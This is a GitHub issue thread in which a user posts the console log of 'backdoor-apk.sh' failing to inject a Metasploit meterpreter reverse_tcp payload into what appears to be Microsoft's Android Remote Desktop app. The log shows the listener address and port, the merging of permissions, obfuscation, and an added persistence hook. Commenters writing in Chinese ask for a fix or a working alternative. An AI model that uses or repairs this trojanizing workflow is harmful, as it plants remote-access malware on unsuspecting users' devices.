Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Failed to recompile original project with backdoor #208

Open
Lingchen218 opened this issue May 16, 2023 · 5 comments
Open

Failed to recompile original project with backdoor #208

Lingchen218 opened this issue May 16, 2023 · 5 comments

Comments

@Lingchen218
Copy link

`[*] Running backdoor-apk.sh v0.2.4a on 2023年 05月 16日 星期二 21:57:51 CST
[+] Android payload options:

  1. meterpreter/reverse_http
  2. meterpreter/reverse_https
  3. meterpreter/reverse_tcp
  4. shell/reverse_http
  5. shell/reverse_https
  6. shell/reverse_tcp
    [?] Please select an Android payload option: 3
    [?] Please enter an LHOST value: 192.168.1.143
    [?] Please enter an LPORT value: 4444
    [+] Android manifest permission options:
  7. Keep original
  8. Merge with payload and shuffle
    [?] Please select an Android manifest permission option: 2
    [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
    [] Decompiling original APK file...done.
    [
    ] Locating smali file to hook in original project...done.
    [+] Package where RAT smali files will be injected: com/microsoft/rdc/androidx
    [+] Smali file to hook RAT payload: com/microsoft/rdc/android/RDP_AndroidApp.smali
    [] Generating RAT APK file...done.
    [
    ] Decompiling RAT APK file...done.
    [] Merging permissions of original and payload projects...done.
    [
    ] Injecting helpful Java classes in RAT APK file...done.
    [] Creating new directory in original package for RAT smali files...done.
    [+] Inject package path: com/microsoft/rdc/androidx/kmawo
    [+] Generated new smali class name for MainBroadcastReceiver.smali: Bcwhv
    [+] Generated new smali class name for MainService.smali: Ptidi
    [+] Generated new smali class name for Payload.smali: Yrxsj
    [+] Generated new smali class name for StringObfuscator.smali: Geckb
    [+] Generated new smali method name for StringObfuscator.obfuscate method: xtset
    [+] Generated new smali method name for StringObfuscator.unobfuscate method: qrnbf
    [
    ] Copying RAT smali files to new directories in original project...done.
    [] Fixing RAT smali files...done.
    [
    ] Obfuscating const-string values in RAT smali files...done.
    [] Adding hook in original smali file...done.
    [
    ] Adding persistence hook in original project...done.
    [*] Recompiling original project with backdoor...done.
    [!] Failed to recompile original project with backdoor
    `
@kuloutoussssss
Copy link

解决了吗

@Lingchen218
Copy link
Author

没有,可能要看看代码,为啥报错了

@kuloutoussssss
Copy link

有没有推荐一款能用的

@Lingchen218
Copy link
Author

后面没有研究这个,其它的我也不知道

@Lingchen218
Copy link
Author

你要是有空你就去看看里面的代码,然后找一下具体报错的问题。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants